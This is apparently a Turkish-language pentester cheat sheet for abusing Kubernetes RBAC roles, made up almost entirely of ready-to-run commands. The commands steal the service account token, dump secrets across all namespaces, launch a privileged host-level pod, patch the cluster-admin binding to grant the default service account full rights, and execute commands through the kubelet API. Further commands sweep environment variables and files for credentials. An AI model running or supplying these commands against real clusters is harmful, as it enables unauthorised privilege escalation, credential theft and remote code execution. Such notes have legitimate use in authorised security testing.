Abusing Roles/ClusterRoles in Kubernetes

K8s enum

Abusing Roles/ClusterRoles in Kubernetes — Kubernetes / OpenShift ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

1. Çağıran kimliği ve etkili izinleri netleştir.

2. Servise özel kaynak envanteri çıkar (liste + describe).

3. Secret, trust policy ve yazma yüzeyi adaylarını işaretle.

4. Bir sonraki privesc / veri / RCE hipotezini kilitle.

Kimlik / oturum

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

kubectl config current-context

kubectl auth can-i --list

cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40

Hedef komutlar

Abusing Roles/ClusterRoles in Kubernetes için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

kubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -u

kubectl create -f evil-pod.yaml

kubectl exec -it POD -n NS -- /bin/sh

kubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'

kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'

curl -k https://$NODE:10250/runningpods/

curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'

kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations

kubectl get networkpolicies -A

kubectl get scc 2>/dev/null || oc get scc

kubectl auth can-i --list

Secret / credential avı

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'

printenv | sort

find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'

Kanıt

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash

mkdir -p evidence/cloud && tee evidence/cloud/notes.txt

Ek komutlar

kubectl auth can-i create pods --all-namespaces

kubectl auth can-i get secrets --all-namespaces

kubectl auth can-i create clusterrolebinding

kubectl get ns

kubectl get pods,sa,secrets,roles,rolebindings -A

kubectl get clusterroles,clusterrolebindings

kubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'

cat /var/run/secrets/kubernetes.io/serviceaccount/token